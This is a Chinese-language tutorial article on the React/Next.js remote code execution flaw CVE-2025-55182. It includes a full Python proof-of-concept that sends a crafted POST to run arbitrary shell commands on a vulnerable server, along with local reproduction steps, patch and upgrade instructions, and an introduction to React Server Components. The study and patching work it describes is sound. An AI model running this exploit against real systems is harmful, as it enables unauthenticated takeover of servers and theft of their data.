CVE-2025-55182漏洞实战：解析React RSC原理与Next.js安全升级指南

只需要向网页地址发送一段特殊构造的POST请求数据，就能直接攻陷其服务器端，执行任意命令。

import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "calc"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        # If you don't need the command output, you can use this line instead:
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

例如，将攻击命令设置为 calc（打开计算器），运行上述 Python 脚本后，计算器真的被打开了。这就是近期曝出的 React 生态严重漏洞 CVE-2025-55182，CVSS 评分为满分 10.0，属于最高危险级别。攻击者无需任何授权，仅通过网站的公开地址，即可在服务器上执行任意恶意代码。

很多开发者可能会疑惑：React 不是一个前端框架吗，为何它的漏洞能直接影响并攻击到服务器？实际上，如今的 React 已不纯粹是一个前端库，它演变成了一套具备前后端一体化能力的全栈架构。本文将以这个漏洞为切入点，介绍 React 生态近年来最重要的更新之一：React Server Component（React 服务器端组件，简称 RSC）。

React Server Component (RSC) 简介

简单来说，RSC 允许组件的代码逻辑在服务器端运行，最终仅将渲染好的 HTML 结果发送给客户端，而非将所有逻辑都打包到前端的 JavaScript 中。本次漏洞正是利用了服务器端组件（RSC）数据反序列化过程中的缺陷，使得攻击能够直达服务器执行。

RSC 概念由 React 核心团队于 2020 年提出。两年后，Vercel 公司在 Next.js 13 版本中率先提供了对 RSC 的完整支持。可以说，Vercel 是近几年 RSC 背后的主要推动者，其目标是通过 RSC 将整个 React 生态与自家的 Vercel 部署平台深度绑定，这一策略也取得了巨大成功。据统计，全球新创建的 React 项目中，有高达 70% 直接选用 Next.js 框架并在 Vercel 上部署。

目前，Next.js 是唯一在生产环境完整支持 RSC 的框架。因此在社区讨论中，RSC 几乎就等同于 Next.js。这也使得本次漏洞中，Next.js 框架首当其冲，成为了受影响最严重的“重灾区”。下面我们先复现并分析漏洞，再通过实战深入了解 Next.js 与 RSC。

漏洞攻击复现

首先，我们在本地复现攻击过程。在桌面打开终端，执行以下命令创建一个 Next.js 项目。

最新版本 16.0.7 已修复此漏洞，因此我们回退到 16.0.6 版本来复现。执行命令的前提是已安装 Node.js。输入项目名称 next-test 后一路回车即可。命令执行完毕后，会提示存在一个致命级安全漏洞。

接着进入项目文件夹，执行 npm run dev 启动开发服务器。

访问提示的本地地址，可以看到 Next.js 项目的默认主页，此时我们未修改任何代码。

接下来，访问漏洞相关的 GitHub 仓库 https://github.com/msanft/CVE-2025-55182。其中的 Python 文件可以用于简易地复现攻击。

下载该脚本并打开，在第9行左右找到攻击命令参数。例如在 Windows 上，calc 命令可以打开计算器。我们将攻击命令修改为 calc。

然后运行脚本：python poc.py。攻击成功，计算器被打开。

漏洞原理简析

此漏洞的可怕之处在于，攻击者可以执行任意恶意命令，例如窃取数据库凭证、数据，甚至植入后门。其影响范围极广，只要 Next.js 版本为 15 或 16，即使是一个全新的空白项目也可能中招，必须升级到修复补丁后的版本。

在 PoC 仓库的说明中，有对漏洞原理的详细解释。简单总结如下：React 使用一种称为 Flight 的协议，将客户端的数据序列化后传输到服务器。

该协议允许值之间相互引用。攻击者利用对象间的引用关系，最终访问到 JavaScript 中所有函数的构造器 Function，从而构造并执行任意恶意函数。官方的修复方法是在引用对象时，确保只能读取对象自身的属性，阻止了对原型链的访问，从而封堵了漏洞。

修复漏洞

我们先修复本地项目的漏洞，再继续介绍 Next.js 与 RSC。根据官方文档，React 的修复版本已发布。例如，将 React 从 19.2.0 升级到 19.2.1。

对于 Next.js 用户，16.x 版本应升级到 16.0.7。修改 package.json 中的 Next.js 版本号。

然后在终端执行 npm install 重新安装依赖。至此，漏洞修复完成。

Next.js 与 RSC 实战

我们通过一个实战案例来理解 RSC。打开项目的 app 目录，找到 page.tsx 文件，它对应项目的默认首页。

这个 page.tsx 文件中的代码已经是服务器端组件（RSC）。在 Next.js 13 之后，除非特别声明，所有组件默认都是 RSC，其逻辑在服务器端运行。为了更好地展示 RSC 的特性，我们创建一个新例子。

在 app 目录下新建 users 文件夹，并在其中创建 page.tsx 文件。

写入以下代码：

运行此代码前，需要安装 postgres 依赖。在命令行中执行 npm install postgres。

代码逻辑是：建立数据库连接，查询用户列表，并在 React 组件中遍历渲染。在浏览器中访问 /users 路径，用户列表成功显示。

按 F12 打开开发者工具，切换到网络（Network）标签页，刷新页面。查看 users 请求的响应，会发现返回的不是 JSON 数据，而是完整的 HTML 代码，用户数据已直接内嵌在 HTML 标签中。

这就是服务器端组件的核心特性。与传统前后端分离模式（浏览器先获取HTML/JS，再通过API获取JSON数据并渲染）不同，RSC 由服务器直接将数据拼接到 HTML 中返回。这样做有几个显著优势：

1. 减少带宽：无需向前端发送处理数据的 JS 逻辑文件。
2. 提升速度：数据直接内嵌在 HTML 中，省去了额外的 API 调用和数据传输时间。
3. 简化代码：无需编写独立的前后端接口，用几行代码即可实现从数据库到页面展示的完整功能。

由于该文件是服务器端组件，即使其中包含数据库连接字符串等敏感信息，浏览器也看不到。连接数据库、执行查询等逻辑完全在服务器端运行，浏览器只能看到最终的 HTML 结果，这有效保护了业务逻辑和隐私数据。

客户端组件 vs. 服务器端组件

Next.js 除了支持服务器端组件（RSC），也完全支持客户端组件。在 users 目录下新建 counter.tsx 文件，编写一个简单的计数器组件。

注意，在文件顶部添加了 ‘use client’ 指令，这声明了它是一个客户端组件。

服务端组件与客户端组件，仅一行指令之差，却有着本质区别。客户端组件代码会被发送到浏览器执行，可以处理用户交互（如点击事件、状态管理）。因此，在使用 Next.js 时，必须清晰区分代码的执行环境，尤其是在借助 AI 编程时，需警惕其可能混淆两者，误将敏感信息（如 API Key）写入客户端代码。

Next.js 的优势在于支持两种组件的嵌套使用。例如，在之前的服务端组件 page.tsx 中，可以直接引入并使用客户端组件 Counter。

访问页面，可以看到在服务端渲染的用户列表中，嵌套了一个可交互的计数器组件，点击按钮计数正常增加。

通常，将与用户交互的组件（如表单、按钮）写成客户端组件，而将静态或数据获取型组件写成服务端组件。注意一个关键规则：服务端组件中可以嵌套客户端组件，但客户端组件内部不能嵌套服务端组件。

总结

本文借助对 CVE-2025-55182 漏洞的分析，介绍了 Next.js 框架与 RSC 的基础概念和实战应用。Next.js 在海外极为流行，它允许开发者主要使用 JavaScript/TypeScript 语言构建全栈应用。其“前后端代码共存”的模式也与 AI 编程助手的特点非常契合，能快速实现想法、落地完整应用。

然而，这种便利性也伴随着更高的安全责任。开发者，尤其是经验尚浅或重度依赖 AI 编程的开发者，必须对所使用框架的执行环境（服务端 vs. 客户端）有深刻理解。在 AI 时代，我们应该将更多精力从代码细节实现，转移到对架构设计和框架原理的把握上，这是确保应用安全、稳健的基石。

希望这篇结合安全实践的技术解析能对你有所帮助。欢迎在 云栈社区 交流更多关于前端框架、全栈开发和安全的话题。